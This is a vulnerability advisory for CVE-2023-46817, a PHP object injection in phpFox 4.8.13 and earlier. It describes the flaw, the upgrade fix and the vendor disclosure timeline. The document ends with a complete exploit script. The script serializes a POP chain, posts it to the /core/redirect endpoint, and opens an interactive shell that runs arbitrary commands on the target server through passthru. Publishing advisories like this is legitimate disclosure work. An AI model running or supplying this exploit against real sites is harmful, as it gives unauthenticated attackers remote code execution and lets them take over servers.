--------------------------------------------------------------
phpFox <= 4.8.13 (redirect) PHP Object Injection Vulnerability
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[-] Software Link:
https://www.phpfox.com
[-] Affected Versions:
Version 4.8.13 and prior versions.
[-] Vulnerability Description:
User input passed through the "url" request parameter to the 
/core/redirect route is not properly sanitized before being used in a 
call to the unserialize() PHP function. This can be exploited by remote, 
unauthenticated attackers to inject arbitrary PHP objects into the 
application scope, allowing them to perform a variety of attacks, such 
as executing arbitrary PHP code.
[-] Proof of Concept:
https://karmainsecurity.com/pocs/CVE-2023-46817.php
(Packet Storm note: POC included at bottom)
[-] Solution:
Upgrade to version 4.8.14 or later.
[-] Disclosure Timeline:
[05/10/2023] - Vendor contacted through https://clients.phpfox.com
[05/10/2023] - Vendor response stating "we currently do not have such 
security requirements"
[06/10/2023] - CVE identifier requested
[09/10/2023] - Vulnerability details shared with the vendor, stating the 
issue is quite critical
[17/10/2023] - Vendor contacted again, asking for an update
[18/10/2023] - Vendor response stating "this issue is fixed in our 
latest version (4.8.13)", but that's not the truth
[26/10/2023] - Version 4.8.14 released
[27/10/2023] - CVE identifier assigned
[27/10/2023] - Public disclosure
[-] CVE Reference:
The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the name CVE-2023-46817 to this vulnerability.
[-] Credits:
Vulnerability discovered by Egidio Romano.
[-] Original Advisory:
https://karmainsecurity.com/KIS-2023-12
[-] Other References:
https://docs.phpfox.com/display/FOX4MAN/phpFox+4.8.14
---  CVE-2023-46817.php poc ---
<?php
/*
    --------------------------------------------------------------
    phpFox <= 4.8.13 (redirect) PHP Object Injection Vulnerability
    --------------------------------------------------------------
    author..............: Egidio Romano aka EgiX
    mail................: n0b0d13s[at]gmail[dot]com
    software link.......: https://www.phpfox.com
    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+
    [-] Vulnerability Description:
    User input passed through the "url" request parameter to the /core/redirect route is
    not properly sanitized before being used in a call to the unserialize() PHP function.
    This can be exploited by remote, unauthenticated attackers to inject arbitrary PHP
    objects into the application scope, allowing them to perform a variety of attacks,
    such as executing arbitrary PHP code.
    [-] Original Advisory:
    https://karmainsecurity.com/KIS-2023-12
*/
set_time_limit(0);
error_reporting(E_ERROR);
if (!extension_loaded("curl")) die("[+] cURL extension required!\n");
print "+------------------------------------------------------------------+\n";
print "| phpFox <= 4.8.13 (redirect) PHP Object Injection Exploit by EgiX |\n";
print "+------------------------------------------------------------------+\n";
if ($argc != 2) die("\nUsage: php $argv[0] <URL>\n\n");
function encode($string)
{
        $string = addslashes(gzcompress($string, 9));
        return urlencode(strtr(base64_encode($string), '+/=', '-_,'));
}
class Phpfox_Request
{
  private $_sName = "EgiX";
  private $_sPluginRequestGet = "print '_____'; passthru(base64_decode(\$_SERVER['HTTP_CMD'])); print '_____'; die;";
}
class Core_Objectify
{
  private $__toString;
  function __construct($callback)
  {
    $this->__toString = $callback;
  }
}
print "\n[+] Launching shell on {$argv[1]}\n";
$popChain = serialize(new Core_Objectify([new Phpfox_Request, "get"]));
$popChain = str_replace('Core_Objectify', 'Core\Objectify', $popChain);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "{$argv[1]}index.php/core/redirect");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_POSTFIELDS, "url=".encode($popChain));
while(1)
{
    print "\nphpFox-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    curl_setopt($ch, CURLOPT_HTTPHEADER, ["CMD: ".base64_encode($cmd)]);
    preg_match("/_____(.*)_____/s", curl_exec($ch), $m) ? print $m[1] : die("\n[+] Exploit failed!\n");
}